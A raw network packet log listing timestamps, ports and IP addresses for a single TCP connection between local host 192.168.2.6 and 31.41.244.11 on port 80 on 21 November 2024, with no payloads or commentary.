Nov 21, 2024 14:11:14.503645897 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.503679991 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.503710032 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.504419088 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.504441977 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.504463911 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.504477024 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.504492044 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.504502058 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.505270958 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.505325079 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.505340099 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.505348921 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.505387068 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.506185055 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.506233931 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.506247997 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.506248951 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.506299019 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.507018089 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.507061005 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.507070065 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.507076025 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.507116079 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.507914066 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.507966995 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.507977962 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.507982969 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.508032084 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.508799076 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.508866072 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.508873940 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.508881092 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.508934021 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.509665012 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.509716988 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.509744883 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.509759903 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.509785891 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.509802103 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.510768890 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.510783911 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.510801077 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.510811090 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.510826111 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.510837078 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.511472940 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.511523962 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.511579037 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.511687994 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.511827946 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.511885881 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.512329102 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.512382030 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.512398005 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.512448072 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.683861017 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.683882952 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.683898926 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.684046030 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.684046030 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.684202909 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.684278011 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.684294939 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.684348106 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.685095072 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.685143948 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.685159922 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.685159922 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.685209990 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.686009884 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.686026096 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.686048031 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.686064959 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.686089993 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.686894894 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.686943054 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.686959028 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.686975002 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.687001944 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.687019110 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.687829971 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.687906027 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.687947035 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.688026905 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.688116074 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.688162088 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.688608885 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.688661098 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.688668013 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.688677073 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.688704014 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.688719988 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.689511061 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.689583063 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.689584017 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.689599037 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.689625025 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.689651966 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.690424919 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.690500975 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.690522909 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.690540075 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.690565109 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.690582037 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.691239119 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.691317081 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.691323042 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.691339970 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.691509962 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.692096949 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.692157030 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.692158937 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.692176104 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.692192078 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.692225933 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.693022966 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.693058014 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.693073988 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.693082094 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.693114042 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.693866014 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.693909883 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.693921089 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.693927050 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.693977118 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.694744110 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.694807053 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.694819927 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.694835901 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.694890022 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.695614100 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.695662975 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.695686102 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.695700884 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.695740938 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.696551085 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.696602106 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.696657896 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.696674109 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.696711063 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.696726084 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.697412968 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.697474957 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.697477102 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.697490931 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.697515011 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.697545052 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.698328018 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.698385000 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.698409081 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.698424101 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.698458910 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.699184895 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.699223042 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.699230909 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.699239969 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.699265957 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.699280024 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.700103045 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.700151920 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.700165987 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.700181961 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.700360060 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.700882912 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.700927973 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.700938940 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.700956106 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.700980902 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.700994968 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.701838017 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.701853037 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.701868057 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.701889992 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.701905966 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.702697992 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.702742100 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.702917099 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.702970982 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.703006983 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.703023911 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.703064919 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.703862906 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.703912973 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.703919888 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.703928947 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.703974009 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.705013990 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.705070972 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.705121040 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.705136061 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.705188990 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.706094027 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.706140995 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.706168890 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.706185102 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.706213951 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.706240892 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.706903934 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.706959963 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.706996918 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.707011938 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.707041025 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.707055092 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.707758904 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.707806110 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.707820892 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.707835913 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.707860947 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.707887888 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.708635092 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.708678961 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.708694935 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.708741903 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.709503889 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.709559917 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.709568977 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.709583998 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.709609985 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.709624052 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.710362911 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.710387945 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.710402966 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.710417032 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.710432053 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.710442066 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.711174011 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.711246014 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.711261988 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.711296082 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.711328983 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.711867094 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.711919069 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.712008953 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.712024927 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.712100983 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.712735891 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.712762117 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.712776899 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.712776899 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.712816954 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.713562965 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.713615894 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.713622093 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.713638067 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.713675022 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.713690042 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.714339972 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.714500904 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.885272980 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.885370970 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.885423899 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.885477066 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.885477066 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.885577917 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.885633945 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.885695934 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.885756016 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.885792971 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.885819912 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.885843992 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.886373043 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.886429071 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.886450052 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.886464119 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.886542082 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.887291908 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.887351036 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.887362003 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.887396097 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.887415886 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.887443066 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.888129950 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.888190031 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.888226986 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.888276100 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.888288021 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.888333082 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.889050007 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.889101982 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.889118910 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.889139891 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.889153004 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.889200926 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.889895916 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.889956951 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.889988899 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.890023947 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.890043020 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.890079975 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.890777111 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.890830994 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.890876055 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.890876055 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.890882015 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.890935898 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.891647100 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.891700983 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.891705990 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.891736031 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.891756058 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.891778946 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.892554045 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.892587900 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.892623901 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.892632008 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.892632961 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.892688990 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.893418074 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.893451929 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.893476009 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.893486977 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.893495083 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.893533945 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.894318104 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.894371033 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.894373894 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.894407034 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.894464016 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.895167112 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.895220995 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.895225048 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.895256996 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.895284891 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.895339966 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.896049023 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.896102905 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.896106005 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.896137953 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.896158934 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.896178007 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.896908998 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.896961927 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.897021055 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.897056103 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.897073984 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.897125006 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.897902966 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.897959948 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.897967100 CET	49876	80	192.168.2.6	31.41.244.11
